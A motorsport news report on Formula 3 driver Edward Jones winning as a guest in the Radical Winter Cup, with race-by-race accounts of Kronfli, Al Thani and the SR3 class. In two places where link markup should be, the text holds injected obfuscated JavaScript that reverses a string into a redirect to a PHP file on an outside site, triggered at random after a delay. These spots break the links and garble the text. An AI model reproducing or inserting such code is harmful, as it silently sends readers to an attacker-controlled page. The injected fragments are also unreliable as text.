He came, he saw, he conquered.
There was little to stop Brit $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/edward-jones-uae-junior-champion/” target=”_blank”>Edward Jones from walking away with the silverware on his guest appearance in the Radical Winter Cup. Albeit slightly bemused by the Formula 3 ace’s turn of speed, Jones’ on-track rivals nevertheless were quick to pat him on the back, smilingly congratulate the victor, and (half-jokingly) enquire whether he would be coming back.
Certainly the guys and girls at AUH Motorsport – organisers of the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/radical-winter-cup-round-1-yas-marina-back-to-school/” target=”_blank”>Radical Winter Cup – will be keen to see the youngster back in one of their cars. A guest taking victory first time out is headline news for the Middle East-based series indeed, but the fact that the regulars were spurred on by the youngster’s performance was perhaps the most critical point.
In race one for instance, Jones had earned pole position in style by over a second. Despite an off at the first turn which temporarily allowed series leader Bassam Kronfli through to the lead, Jones was soon on a charge and had opened up well over 30s at the chequered flag, thanks in part to a drive-through penalty for Kronfli for overshooting his pitstop window.
For race two though, the impetus had changed. Suddenly this young upstart had to be taken down a peg, and even though Jones once again nailed his getaway, the field was right on his coattails as 11 cars thundered into turn one. This time though the 17-year-old kept his braking clean, and managed to avoid repeating his race one mistake. Kronfli – starting from the second row and keen to go one better than his second-place in race one – was right with him as the field snaked its way through the technical layout of the Autodrome’s GP Circuit.
Problem was Abdul Raman Al Thani in the #1 SR8 had the same idea, and an out of shape moment for Kronfli in turn nine meant the pair were nose-to-tail heading into turn 12. Last of the late-brakers, Al Thani sluiced his way past, but overshot the apex, and a half open door had re-emerged for Kronfli. No hesitation.
With Charlie Kemp in the #21 machine hustling his SR8 rivals in front, the fight was on for track position as the trio headed through the sweeping right hander to turn 16, perfectly timed braking all that was needed for a slingshot manoeuvre down the main straight. Kronfli saw it coming though, and the evo Middle East Editor-in-Chief had opened up just enough of a margin across the line to keep his rivals at bay. Just. Competitiveness throughout the field had most certainly been vindicated.
Further back in the SR3 hunt, Mohammed Jawa had kept his rivals at bay at the start, fifth overall and the class lead in his hands. After a disappointing race last time at the Autodrome where rain very much affected play, the Saudi Arabian was keen to go one better than race one and hit the top step of the podium again. Within three laps he’d opened up a 2s gap to Maurice Faber in the #8 SR3 machine behind. Three laps later, the #82 was parked on the side of the track, stranded by gearbox problems. Another cruel blow to Jawa’s title aspirations.
